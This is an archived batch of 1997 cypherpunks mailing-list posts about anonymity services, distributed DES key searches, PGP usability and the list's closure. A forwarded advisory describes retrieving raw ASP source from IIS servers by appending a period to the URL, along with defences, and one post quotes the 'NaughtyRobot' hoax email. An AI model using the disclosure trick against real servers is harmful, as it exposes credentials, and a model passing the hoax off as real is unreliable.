     Speedpass is also an attempt to help Mobil build on its position as
     the nation's top gasoline seller. With a 9.9% share of the market,
     Mobil in 1995 overtook Shell Oil Co. as the leading gasoline seller,
     as measured in gallons sold. (Figures for 1996 aren't available.)

     Mobil, which was among the first oil companies to use
     pay-at-the-pump technology, will introduce Speedpass in key
     markets by May 1.

  ------------------------------ snip! ------------------------------

 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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 In the body of the message, write:  unsubscribe dcsb
 Or, to subscribe,           write:  subscribe dcsb
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--------------------------------------------------
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@PrimeNet.Com>
Date: Wed, 19 Feb 1997 15:31:18 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Any more like www.anonymizer.com ??
Message-ID: <199702192331.PAA01896@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    Come on, Bob.  Quit rubbing it in about that clear blue water, the 
    tropical temperatures and high horsepower speakers.
        
        -attila

on or about 970219:0704 Robert Hettinga <rah@shipwright.com> said:

+At 8:29 pm -0500 on 2/18/97, ! Drive wrote:
+> A proposal and prototype of a different anonymity mechanism can be found at:
+>   http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/overview.html

+And, of course, you can hear about the next generation from the same
+bunch, on Monday morning at FC97:

+    Unlinkable Serial Transactions
+    Paul F. Syverson (Naval Research Laboratory, Washington, DC, USA),
+    Stuart G. Stubblebine (AT&T Labs--Research, Murray Hill, NJ, USA),
+    David M. Goldschlag (Naval Research Laboratory, Washington, DC, USA)

+:-).

+<http://www.offshore.com.ai/fc97/> Cheers, Bob Hettinga

 _____________________________________________________________________
 
  Surveilence is just another form of entertainment.
 ___________________________________________________________attila_____
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

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Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

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FueZ3HRx784=
=Dtbl
-----END PGP SIGNATURE-----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 20 Feb 1997 14:26:41 -0800 (PST)
To: trei@process.com
Subject: DES search publicity (was Re: Cryptanalysis)
Message-ID: <199702202226.OAA23750@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Peter Trei <trei@process.com> writes:
> Bill Stewart <stewarts@ix.netcom.com> writes:
> > There may be a distributed Internet crack using that approach, 
> > though DES is still very inefficient on general-purpose computers and 
> > works better on bit-twiddliing chips.
> 
> There's one slowly shaping up, organized by the same people who did 
> the RC5-48 crack. I'm still rooting for an uncoordinated search, 
> which is already underway.

The people who did the RC5-48 crack over on <des-challenge@muffin.org>,
and <des-pr@mail.des-challenge.xtn.net>, or at least one of them in 
particular, seems dead set on giving the prize fund 50:50 to the EFF/GNU.  
I'm having a heck of a time talking him out of it.

What does your software do with the key if it finds it?  Attempt to
email it RSA DS/email it to you/report it to user/other?

Do you know how many people are running your uncoordinated breaking
project?  Are you keeping track of how many people have copies.  (I
suppose that not knowing how many people are running the client is a
disadvantage with the uncoordinated approach.)

I'm trying to get UK Computer shopper to include an uncoordinated DES
searcher in their cover CD, along with a feature article on the
challenge (I thought the possibility of winning $10,000 might be a
large part of the interest factor for a reader).  Don't know if
they'll be interested yet.

(What I'm keen on is the sheer size of the readership -- if 10% of
that lot runs the software, something might happen fast!)

Has anyone tried doing something similar in the US?  Anyone with
contacts with other PC magazine with CD/disk on front format,
preferably with large readership, in UK, US, or other countries?

For this kind of project, you'd need something with a simple windows
interface and install script.  I'd have thought a DES breaker which is
installed in win3.1/win95 to always start at boot up, and consume free
cycles (ie set to back off when the machine is doing other things).  A
screen saver with nice presentation would be one way to do this.

Do any of the breakers do this?  Are there clients from other breaks
which could be adapted which do?  I think someone wrote a screen saver
based breaker after the SSL break?

Adam

ps

Have there been any sightings of your code outside the US?

Rumor has it that ftp://ftp.replay.com/pub/incoming is a place where
things often turn up, but I haven't seen it yet.
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Name Withheld by Request <nobody@replay.com>
Date: Wed, 19 Feb 1997 18:11:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: It's time to move on, kids.
Message-ID: <199702200211.SAA03937@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


As of 2/14/97 there are 1295 subscribers to the cypherpunks mailing list.
85 of those subscriptions are to other mail-exploders. Smoke 'em if you
got 'em.

-Golem





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 20 Feb 1997 06:56:17 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Constitution and a Right to Privacy
Message-ID: <199702201456.GAA14462@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 11:56 PM 2/19/97 -0800, Dale Thorn wrote:

>It's good if you don't read the L.A. Times.  One of their lead editor-
>ializers (whores), a professor at USC law school named Erwin
>Chemerinsky,
>writes in relation to this subject "The federal government is an inde-
>pendent sovereign that cannot have its powers diminished by a state
>government's actions." (exact quote, 2/7/97).  Either that's a load of
>BS doubletalk, or it's one of the more fascistic commentaries from the
>Times, which is usually bad enough.

Hey, don't forget to shoot the messenger. Chemerinsky's statement is a
concise summary of at least the last 70 years of double jeopardy
jurisprudence. The only thing that's unusual about the use of the "dual
sovereign" doctrine against the cops who beat King was that it's usually used
against ordinary citizens, not cops. 

Do you suppose it's possible that some of the other evil conspiracies you see
lurking behind every bush are also just reflections of your own fears and
misunderstanding? 


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--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 20 Feb 1997 06:56:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: E-Gold: It had to happen
Message-ID: <199702201456.GAA14483@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Ian Grigg <iang@systemics.com>
MIME-Version: 1.0
Precedence: Bulk
Date: Thu, 20 Feb 1997 10:53:31 +0100
From: Ian Grigg <iang@systemics.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject: Re: E-Gold:  It had to happen

some dead guy called gold dot wrote:
> Yo, c-punks:

Yo, dude

>  In the back of the March 97 issue of Liberty Magazine is an ad
>  for a gold backed e-money system called e-gold(tm).  It appears
>  to be an on-line transaction system for paying other e-gold
>  account holders in e-money backed with gold or other precious
>  metals.

Nice one, perhaps you could scan in the ad, seeing as my issue doesn't
arrive until ... March.  Your system "appears to be" an accounting
system stuck on top of SSL.  But I guess we don't get to find out, for
sure, unless we commit lots of bucks...

>  See http://www.e-gold.com/ for more info.

Yeah, nice pages, lots of homework done here folks, but you forgot to
mention:

  who are you?
  where are you?
  when are you?
  will you be?

--
iang
iang@systemics.com
----------
The e$ lists are brought to you by:

Intertrader Ltd - Commerce Solutions in the UK
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Like e$? Help pay for it!  See <http://www.shipwright.com/rah.html>
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Interturge: Rodney Thayer <mailto:rodney@sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Trei <trei@process.com>
Date: Thu, 20 Feb 1997 09:11:44 -0800 (PST)
To: Bill Stewart <scotta@sauge.com
Subject: Re: Cryptanalysis
Message-ID: <199702201711.JAA16459@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> Date:          Wed, 19 Feb 1997 08:16:46 -0800
> From:          Bill Stewart <stewarts@ix.netcom.com>
> To:            Scott Auge <scotta@sauge.com>
> Cc:            cypherpunks@toad.com
> Subject:       Re: Cryptanalysis

> At 11:21 AM 2/15/97 -0500, you wrote:
> >Was wondering if anyone could help me with short explainations on the
> >cryptanalysis of SKIPJACK and DES.  If ya hit www.sauge.com/crypt you
> >might get a better idea of what i'm trying to accomplish.
> 
> Cryptanalysis of DES is a 25-year ongoing academic exercise, with
> lots and lots of results.  It's easy to attack it in 2**55 tries,
> because of symmetry, but that's a very large number :-)

Many people have made statements to the effect that the complement
key property (if key K encrypts plaintext P to ciphertext C, then
K' encrypts P' to C', where A' is the one's complement of A') of
DES halves the work for a brute force attack, but these people don't
seem to have ever tried to actually use this property - it's 
effectively useless. You still need to run the DES rounds, and the
only win would be in the fact that preparing the key schedule of K'
from the key schedule of K used to be easier than preparing it from 
K' directly. This is no longer a win, since preparing key schedule 
for (K+1) from the key schedule of K is just as easy.

There's the possibility that I'm seriously dense (even Denning has
made statements about halving the effort), but I just don't see it.

[...] 
> The slow part of the attack _had_ been key scheduling, but recent work
> by Peter Trei and others shows that you can do key scheduling very
> efficiently for the brute-force keysearch problem by picking keys
> in Gray Code order (since a one-bit change in key causes a simple
> change in key-schedule - it's totally useless for normal encryption/
> decryption, but it's a big win for brute-force cracks.)

It's not totally useless - if you're going to have to prepare a lot 
of different key schedules (say, for many session keys under IPSEC),
it's still a win to OR together the key bit fanouts than to generate 
the key schedule by the traditional method. It trades a lot of 
upfront, one-time work for a later speedup. 
  
> There may be a distributed Internet crack using that approach, 
> though DES is still very inefficient on general-purpose computers and 
> works better on bit-twiddliing chips.

There's one slowly shaping up, organized by the same people who did 
the RC5-48 crack. I'm still rooting for an uncoordinated search, 
which is already underway.
 
Peter Trei
trei@process.com

PS: Is this the last message to cypherpunks actually about crypto?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hayashi_Tsuyoshi <take@barrier-free.co.jp>
Date: Wed, 19 Feb 1997 22:26:16 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: "cypherpunks is dead..."
Message-ID: <199702200626.WAA07994@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear Mr. Robert Hettinga,

This is Tsuyoshi Hayashi, one of subscribers of the
cypherpunks list, lives in Yokohama, Japan.

I heard today's your voice on the cypherpunks list.  I am
little sad.

I am almost ROM, read-only member...  Although I have been
hear for two and a half (wow..) years, I posted only three
(or four...) messages.  I am a bad boy.
Sorry. > all

Instead of it, I have gotten many many cripto-concerned
info (such as PGP) which are worth reading (though they
are very difficult for me, both technical and language ;-).
Today I know about cryptography a little.  I am working
nearby the cryptographic field in Japan.  So I DO want to
say THANKS to all subscribers of the list and the
owner-cypherpunks@toad.com, and the host machine named
toad.com [140.174.2.1].

On Wed, 19 Feb 1997 15:37:08 -0500, Robert Hettinga said:
 >Anyway, I've learned all these things from many cypherpunks, some still

Yes, me too!

 >Because of this list's effect on my life, I have been motivated to start
 >the Digital Commerce Society of Boston, to evangelize financial
[..]

I found your DCSB list out about a month ago.  This list
is also interesting for me.  Thanks.

 >Next week, I go to FC97 in Anguilla because of the things I've learned on
[..]

I did want to go to FC97, but there is a long distance
between Anguilla and Japan...  I hope you will post the
summary and/or topics of FC97 to the DCSB. :-)

 >[..] cypherpunks is not going to
 >die just because the address "cypherpunks@toad.com" ceases to exist. There

Yah!

 >So. In a very real sense, today on cypherpunks is like any other day in the
 >life of a creosote bush. It's a big desert, folks. We're the only ones who

# Sorry.  Although there are both "creosote" and "bush" in
# my English-Japanese dictionary, I could not understand
# the meaning of "creosote bush".  Please teach me it in
# other easy words if you have a time.  In English is OK.
# In Japanese is the best. ;-)

====

Mr. Bob Hettinga and all, doumo arigatou gozaimashita!

# And sorry for my poor English.

In a "Roman Holiday", Audrey Hepburn said,
	"By all means, Roman..."
Today I say, "By all means, Cypherpunks..."

Best,

 - Tsuyoshi Hayashi <take@barrier-free.co.jp>
 - PGP public key: http://www.barrier-free.co.jp/take/pgpkey
 - (CF 27 34 5B 46 FA 2A 12  D2 4C E3 F7 2A 45 E0 22)
 - Barrier Free, Inc. (established on 25 Jan 1996)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ellen Iwasaki <eiwasaki@gol.com>
Date: Wed, 19 Feb 1997 22:26:09 -0800 (PST)
To: www-security@ns1.rutgers.edu
Subject: security breached by NaughtyRobot
Message-ID: <199702200626.WAA07968@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


HELP! Can anyone tell me what this message is that I received in my mail
today? Is it real? Should I do as it suggests? I have used the Internet
once to purchase some books? Was my credit card number stolen in the
process? How did this happen and how will it affect me? What should I do?
PLEASE ADVISE ASAP! Thank you for your help
Ellen Iwasaki
Kumamoto, Japan

> From: eiwasaki@gol.com
> Date: Wed, 19 Feb 97 02:27 CST
> Apparently-From: eiwasaki@gol.com
> Apparently-To: eiwasaki@gol.com
> Reply-to: eiwasaki@gol.com
> Registered-mail-reply-requested-by: eiwasaki@gol.com
> Sensitivity: PERSONAL-CONFIDENTIAL
> Precedence: EMERGENCY
> Priority: URGENT
> Comment: Authenticated sender is <eiwasaki@gol.com>
> Organization: NaughtyRobot
> Subject: security breached by NaughtyRobot
>
> This message was sent to you by NaughtyRobot, an Internet spider that
> crawls into your server through a tiny hole in the World Wide Web.
>
> NaughtyRobot exploits a security bug in HTTP and has visited your host
> system to collect personal, private, and sensitive information.
>
> It has captured your Email and physical addresses, as well as your phone
> and credit card numbers.  To protect yourself against the misuse of this
> information, do the following:
>
>         1. alert your server SysOp,
>         2. contact your local police,
>         3. disconnect your telephone, and
>         4. report your credit cards as lost.
>
> Act at once.  Remember: only YOU can prevent DATA fires.
>
> This has been a public service announcement from the makers of
> NaughtyRobot -- CarJacking its way onto the Information SuperHighway.
>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 20 Feb 1997 13:10:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: [NTSEC] ! [ADVISORY] Major Security Hole in MS ASP (fwd)
Message-ID: <199702202110.NAA22766@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================

---------- Forwarded message ----------
Date: Thu, 20 Feb 1997 11:39:01 -0600
From: Mark Joseph Edwards <mark@ntshop.net>
To: "'bugtraq@netspace.org'" <bugtraq@netspace.org>
Cc: "'ntbugtraq@rc.on.ca'" <ntbugtraq@rc.on.ca>,
    "'ntsecurity@iss.net'" <ntsecurity@iss.net>
Subject: [NTSEC] ! [ADVISORY] Major Security Hole in MS ASP


		MICROSOFT IIS AND ACTIVE SERVER ADVISORY
		 Security Hole in ASP Discovered in Microsoft ASP
				February 20, 1997

DESCRIPTION
A serious security hole was found in Microsoft's Active Server Pages (ASP) by Juan T. Llibre <j.llibre@codetel.net.do>. This hole allows Web clients to download unprocessed ASP files potentially exposing user ids and passwords. ASP files are the common file type used by Microsoft's IIS and Active Server to perform server-side processing.

HOW IT WORKS
To download an unprocessed ASP file, simply append a period to the asp URL. For example: http://www.domain1.com/default.asp becomes http://www.domain1.com/default.asp. With the period appendage, Internet Information Server (IIS) will send the unprocessed ASP file to the Web client, wherein the source to the file can be examined at will. If the source includes any security parameter designed to allow access to other system processes, such as an SQL  database, they will be revealed.

DEFENSE
There are two known ways to stop this behavior: 

1.Turn read permissions off of the ASP directory in the Internet Service Manager. This may not be a practical solution since many sites mix ASP and HTML files. If your site mixes these files together in the same directories, you may want to segregate them immediately. Now and in the future, treat your ASP files like any other Web based executable, and keep them in separate directories wherein permissions can be adjusted accordingly.

2.Download this filter written by Christoph Wille Christoph.Wille@unileoben.ac.at which can be located at http://www.ntshop.net/security/tools/sechole.zip or from http://www.genusa.com/asp/patch/sechole.zip

END OF ADVISORY






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Thu, 20 Feb 1997 12:56:50 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: "cypherpunks is dead..."
Message-ID: <199702202056.MAA22487@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> At 3:37 PM -0500 2/19/97, Robert Hettinga wrote:
> is stil bogged down, for reasons I have to believe have to do with
> pressures from somewhere, else why would e-mail packages not make PGP
> support painless?)

	There are several packages that do provide at least some level 
of PGP integration, but I have 2 very good reasons:

	1) The "market place" isn't willing to pay for the additional work.

	2) It isn't "sexy" enough to cause a programmer to want to add it 
to a mailer just for fun. 

	







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris Laffra <laffra@ms.com>
Date: Thu, 20 Feb 1997 12:57:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Translating C++ to Java
Message-ID: <199702202057.MAA22497@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

I hope the following information is of interest, otherwise please ignore...

In August 1996 my book "Advanced Java" was published, and it still is one
of the only books that is not only absolutely emphatic about the language,
but in addition has a critical, honest, and objective look at Java.  I am
very happy with the reception of the book -- it is one of the Java
best-sellers, especially considering the small intended target buyers
segment (the more advanced Java programmer).  Enclosed with the book is
C2J, an automatic C++ to Java translator, written in C++ and requiring
specific UNIX tools.  My version of C2J was not very useful for a lot of
people because of the requirements on the environment.

I challenged the online community to look at the software and come up with
a full Java version. I am happy to report that has happened. A student at
PACE University in New York, Ilya Tilevich, took the challenge and did a
really nice job in making C2J a full Java program.

For more information, check out my personal home page at America Online:

	http://members.aol.com/laffra

and download the zip file containing the Java class files and source code.

I hope this information is useful for you,
Chris Laffra.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 20 Feb 1997 12:56:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "cypherpunks is dead..."
Message-ID: <199702202056.MAA22488@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 2:37 pm -0500 on 2/20/97, snow wrote:


> > At 3:37 PM -0500 2/19/97, Robert Hettinga wrote:
> > is stil bogged down, for reasons I have to believe have to do with
> > pressures from somewhere, else why would e-mail packages not make PGP
> > support painless?)

Uh, that wasn't me.

Sorry...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Scott A. Hommel" <shommel@zoo.uvm.edu>
Date: Thu, 20 Feb 1997 12:58:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702202058.MAA22548@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



For those of you who haven't seen this... "fake-web" document. A way 
hackers may easily get around things like SSL.

http://www.cs.princeton.edu/sip/pub/spoofingDocumentWithLongUntypeableName.html


*********************************
Scott A. Hommel
President,
New Paradigm Design, Inc.

PGP key available at:
http://paradigm-2.com/scott.html

*********************************







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Thu, 20 Feb 1997 14:27:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: RRE: crime and technology
Message-ID: <199702202227.OAA23770@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"rre@weber.ucsd.edu" 20-FEB-1997 07:55:48.58
From: Phil Agre <pagre@weber.ucsd.edu>

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
This message was forwarded through the Red Rock Eater News Service (RRE).
Send any replies to the original author, listed in the From: field below.
You are welcome to send the message along to others but please do not use
the "redirect" command.  For information on RRE, including instructions
for (un)subscribing, send an empty message to  rre-help@weber.ucsd.edu
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Date: Wed, 19 Feb 1997 18:51:34 -0500
From: Belinda Juran <juran@law.harvard.edu>

[...]

                    Harvard Journal of Law & Technology

                        Symposium:  Crime & Technology
Law Enforcement Technology  - Cybercrime - Electronic Commerce

                                 Saturday, March 15, 1997
Ames Courtroom, Austin Hall at Harvard Law School in Cambridge, MA.
                                   Registration:  9:30 A.M.

Tentative Schedule, including Confirmed and Tentative Panelists:
9:30-9:45   Registration & coffee
9:45-10      Introduction
10-12         Panel:  "Search, Seizure, and Surveillance Technology"
                  (searching of technology & the technology of searching)
                  Moderator:  Stephen Heymann
                     assistant United States attorney in Boston who teaches at
                     HLS and was involved with the first wiretap laid on the
                     Internet.
                  Panelists:
                  o  Tony West
                      AUSA in San Jose who helped investigate the creator 
                      of PGP and is now prosecuting the "Orchid Club" 
                      cases against an international child pornography 
                      ring that distributed through the Internet.
                 o  Chris Slobogin
                     UFlorida professor who is the reporter for the
                     ABA Task Force on Technology and Law Enforcement
                 o  Andy Good
                     a Boston defense attorney who has defended computer
                     searches including US v. Steve Jackson Games
                 o  Marc Goodman
                     a Los Angeles Police Department sargeant who has
                     investigated computer crimes and has pursued the
                     impact of technology on police departments during 
                     his year at the Kennedy School of Government
                o  Elizabeth Marsh
                    a Quinnipiac Law School professor who has done work
                    on encryption and the danger of the federal government's
                    "key" proposal
12             Lunch:  box lunch provided
12:45-1:15 Keynote:  invited (tentative) keynote speaker:
                  Bob Kahn
                      Corporation for National Research Initiatives
1:15-3:15   Panel:  "The Risks of Electronic Banking &Commerce"
                  (content security & payment/banking security)
                   Moderator:  Charles Nesson
                      professor at Harvard Law School specializing in 
                      legal implications of digital technologies
                  o  Marc Rotenberg
                      EPIC (Electronic Privacy & Information Center)
                  o  Kelly Frey
                      Copyright Clearance Center
                  o  David Byer
                      partner, Testa Hurwitz & Thibeault, Boston, MA
                  o  Philip Bane
                      counsel, First Virtual
3:15 end

Admission to the Symposium is free to all Harvard affiliates (with valid
Harvard ID), $15 for all other students, $30 for public sector
professionals, and $100 for private sector professionals.

ADVANCE REGISTRATION IS STRONGLY SUGGESTED.

- ------------------------Registration Form-------------------------------

Harvard Journal of Law & Technology Symposium on Crime & Technology;
March 15, 1997;
registration begins at 9:30 a.m.; program begins at 10:00 a.m.
Ames Courtroom, Austin Hall, Harvard Law School, Cambridge MA

     Name:____________________________________________________

     Affiliation _________________________________________________

     Address __________________________________________________

             __________________________________________________

     Telephone:________________________________________________

     Email:____________________________________________________

     Check One:
                  _____ Private Sector Professional: $100
                  _____ Public Sector Professional:   $ 30
                  _____ Student:                      $ 15
                  _____ Harvard student (valid ID must be presented 
                                 at the door):  free

Make checks payable to:  Harvard Journal of Law & Technology

Mail the completed registration form with check to:
              Symposium Registration
              Harvard Journal of Law & Technology
              Publications Center
              Harvard Law School
              Cambridge, MA 02138

- ------------------------------Cut Here--------------------------------------

The Symposium is sponsored by Hale and Dorr L.L.P., Boston, MA.

The Spring Issue of the Journal will include articles covering the broad
topic of "Crime and Technology."

For additional information about the Symposium, contact
Symposium Editor Belinda Juran, by e-mail at juran@law.harvard.edu, or by
phone at the Harvard Journal of Law & Technology offices at
617-495-3606 or 617-493-7949.

ABOUT THE JOURNAL:
The Harvard Journal of Law & Technology is a leading scholarly
publication for articles addressing the many diverse interstices of
science and technology with law and society.  We have published articles
by law professors, practitioners, business leaders, and politicians on
varied topics including biotechnology, computers, international trade,
technology transfer, intellectual property, medical technologies, and
telecommunications. These and other subjects are some of the most
exciting and rapidly developing areas of the law, and we believe that the
dialogue provided by the Harvard Journal of Law & Technology will help to
shape the future of this important field.  We welcome submissions of
articles, case comments, or book reviews addressing the relationship of
law and technology.

SUBSCRIPTION INFORMATION:
For additional information, please contact the Journal at the address
below.  The Journal publishes three issues each year. To subscribe to the
Journal's upcoming issues in Volume 10,  please send the Journal a check
for U.S. $45.00 (foreign orders $50.00) to the address below.  To obtain
the issue discussed above or back issues, please send the Journal a check
for $35.00 with a note indicating the desired issue (i.e., "Vol. 9 No. 2").

*************************************************************************

              Harvard Journal of Law & Technology
              Publications Center
              Harvard Law School
              Cambridge, MA 02138

              Telephone: (617) 495-3606
              Fax:       (617) 495-8828

              E-Mail:  jolt@law.harvard.edu
              WWW:  http://www.law.harvard.edu/home/jolt/

*************************************************************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Thu, 20 Feb 1997 08:57:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "cypherpunks is dead..."
Message-ID: <199702201657.IAA16261@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

 A million monkeys operating under the pseudonym 
 "Tim May <tcmay@got.net>" typed:
>
> (Getting PGP integrated into mailers
> is stil bogged down, for reasons I have to believe have to do with
> pressures from somewhere, else why would e-mail packages not make PGP
> support painless?)


Because PGP's user interface is yucky and its programmer
interface is even worse.


Amazing how people don't realize how much certain important 
things depend on such a (deceptively) simple concept as having
a nice user interface and a nice programmer interface.  In 
contradiction of certain cypherpunk urban legends, I suspect
that such pedestrian details are far, far more important to 
the course of history than the clumsy and feckless 
machinations of government agencies.


But for the good news, see the quote from Jim Bidzos in my
".plan".


Regards,

Zooko, Journeyman Interface Designer

NOT speaking for any organizations or persons whose names 
might appear in the headers of this message, or who might 
occasionally toss me some spare change in return for my 
brilliant software design work.

PGP sig follows




-----BEGIN PGP SIGNATURE-----
Version: 2.6.2i
Comment: Auto-signed under Unix with 'BAP' Easy-PGP v1.1b2

iQB1AwUBMwxxPkjbHy8sKZitAQFkwwL+Pmpv70F4mN+G58gnZj0a8nH6omppzucN
CxMSw2iFc/rBcCQGoNO1Bx42TEShypN4HyBqrR49NEkJhihZ4dSfQB2FGsTZyFE0
P9X2/Oy10AwqC9nu90n/Ct5Z+63wFB6P
=CCQx
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@replay.com>
Date: Thu, 20 Feb 1997 12:56:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Why Digital Video Disks are late to market
Message-ID: <199702202056.MAA22465@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> ... there apparently has been some speculation among the U.S. PC community
> that Matsushita may be stonewalling on the software-licensing issue so that
> it can establish its hardware-based decryption solution in the marketplace.

The day it gets published in software is the day someone runs a
disassembler on it.  That's all there is to it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve <privsoft@ix.netcom.com>
Date: Thu, 20 Feb 1997 17:27:11 -0800 (PST)
To: cypherpunks list <cypherpunks@toad.com>
Subject: The List
Message-ID: <199702210127.RAA26489@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hey all,

As a somewhat quiet observer and student of the Cypherpunk list over the
last two years, I have been able to keep in touch with an unimaginable
amount of issues, info, concerns, and news; and the knowledge I have
gained from this list is more than I can say in words. I have sifted
through the noise and can say the info gleaned was indeed worth the
effort. I am sorry to see the list in its present state, ready to move
on to better? things. I hope I speak for many of you, like me who
listened learned asked and was answered, that the Cypherpunk list must
continue and that each of us, active and passive member has a
responsibility to ourselves and each other to continue bring the issues
to light , fighting the good fight against the gov't's lousy
regulations, and bringing encryption to the masses. I have been working
with a security software development company for 2 and half years and
have been working on this goal: bringing encryption to the masses. The
information both directly (actual posts relating to Crypto) and
indirectly (Rants and flames on Snakeoil products) gained has helped
guide me and my colleagues closer and closer to our goal. For that and
more I thank all of you. We are very close to releasing a beta version
of our product to the Internet community to use and abuse. We have
worked closely with Bruce Schnieir and Counterpane to insure good
implementation of our security measures. I hope our product meets with
your standards and approval but more importantly I hope that you (the
collective you) can be instrumental in helping us to accomplish our
goal. I will post to this list (assuming it is still amongst the living)
very shortly a more detailed description of the product and where a beta
can be gotten. I am sorry for "whetting the appetites" but I figured
since I was E-mailing a post relating to the state of list, I include a
bit about how the list has positively effected me and has contributed to
society.

Steveo (privsoft@ix.netcom.com)
--Privacy Software Division--
Syntel Technologies, Inc.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 20 Feb 1997 22:26:06 -0800 (PST)
To: Ellen Iwasaki <eiwasaki@gol.com>
Subject: Re: security breached by NaughtyRobot
Message-ID: <199702210626.WAA01272@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


